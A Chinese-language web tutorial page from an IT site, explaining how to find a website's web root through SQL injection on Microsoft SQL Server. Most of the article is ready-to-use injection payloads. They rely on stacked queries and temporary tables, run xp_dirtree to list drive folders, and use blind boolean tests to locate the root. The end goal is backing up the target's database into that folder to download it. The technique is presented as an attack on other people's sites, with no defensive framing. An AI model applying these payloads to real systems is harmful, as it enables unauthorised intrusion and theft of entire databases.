设为首页 友情链接
在线留言 发表文章
加入收藏 广告联系

刺猬首页

| 专案技术 | 网络技术 | 图形图象 | 网络编程 | 网页设计 | 操作系统 | 服务器 | 技术白皮书 | 在线实验室 | 刺猬论坛 |
  | 数据库 | 设计赏析 | 存储频道 | 网络安全 | 私服架设 |  Solaris | 网站评估 | PC维护技巧 | 下载中心 | 博 客 |
专题: | Linux | java | cisco | 防病毒 | 刀片 | SOA | iscsi | ASP.NET | SQL | Oracle |
您现在的位置: IT公社 IT community >> 网络编程 >> ASP >> 教程正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
针对Oracle10g EM乱码之…
PHP面向对象编程快速入门
PHP百行代码快速构建简易…
Smarty模板快速入门
半小时教你学会正则表达…
一步一步教你PHPMyAdmin…
把手教你写私服列表小偷…
教你如何用PHP制作静态网…
资深网管教你一步步安装…
.net水晶报表使用 快速学…
  教你快速获得WEB根目录的技巧           
教你快速获得WEB根目录的技巧
 

  本文章针对以下环境,如果不符合以下的条件,就不适合用下面提到的方法来获得WEB根目录。

  1、SQL SERVER允许执行多行语句;

  2、该网站能进行注入;

  3、没有返回详细的错误提示信息(否则没有必要用这种方法)。

  根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:

  ;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
  
  ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

  在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:

  and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

  接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:

  and (select count(*) from temp where dir<>&apos;user&apos;)<(select count(*) from temp)

  看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:

  and (select count(*) from temp where dir<>&apos;photo&apos;)<(select count(*) from temp)

  ...

  如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

  下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:

  and (select depth from temp where dir=&apos;user&apos;)>=数字(数字=1、2、3...)

  假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

  目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

  接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

  ;create table temp1(dir nvarchar(255),depth varchar(255));--

  然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:

  declare @dirname varchar(255);set @dirname=&apos;
d:\&apos;+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in(&apos;Documents and Settings&apos;,
&apos;Program Files&apos;,&apos;RECYCLER&apos;,
&apos;System VolumeInformation&apos;,&apos;WINDOWS&apos;,
&apos;CAConfig&apos;,&apos;wmpub&apos;,
&apos;Microsoft UAM 卷&apos;) order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname

  当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

  现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:

  and (select count(*) from temp1 where dir<>&apos;user&apos;)<(select count(*) from temp1)   如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

  现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

  现在,我们用同样的方法,再建立第3个临时表:

  ;create table temp2(dir nvarchar(255),depth varchar(255));--

  然后把从D盘的website下的所有目录存到temp2中,语句如下:

  declare @dirname varchar(255);set @dirname=&apos;d:\website\&apos;
+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in(&apos;Documents and Settings&apos;,
&apos;Program Files&apos;,&apos;RECYCLER&apos;,
&apos;System VolumeInformation&apos;,&apos;WINDOWS&apos;,&apos;CAConfig&apos;,
&apos;wmpub&apos;,&apos;Microsoft UAM 卷&apos;) order by dir desc)T order by dir);
insert into temp2 exec master.dbo.xp_dirtree @dirname

  当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

  现在,我们用同样的方法判断该目录是否为根目录:

  and (select count(*) from temp2 where dir<>&apos;user&apos;)<(select count(*) from temp2)

  如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

  用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www

  然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。

  下载完数据库后要记得把三个临时表DROP掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。

频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名 录入时间:2006-11-22
信息来源:不详 投稿信箱:itqoo@126.com
教程录入:admin    责任编辑:admin 
  • 上一个教程:

  • 下一个教程: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    - 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言版权声明联系方式 -
    IT公社版权所有 粤ICP备05127012号
    Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved  推荐分辨率 1024*768
    联系站长:E-Mail:itqoo@126.com     MSN:urchincc@hotmail.com    QQ:点击这里给我发消息
    特别感谢:亿太网络提供空间支持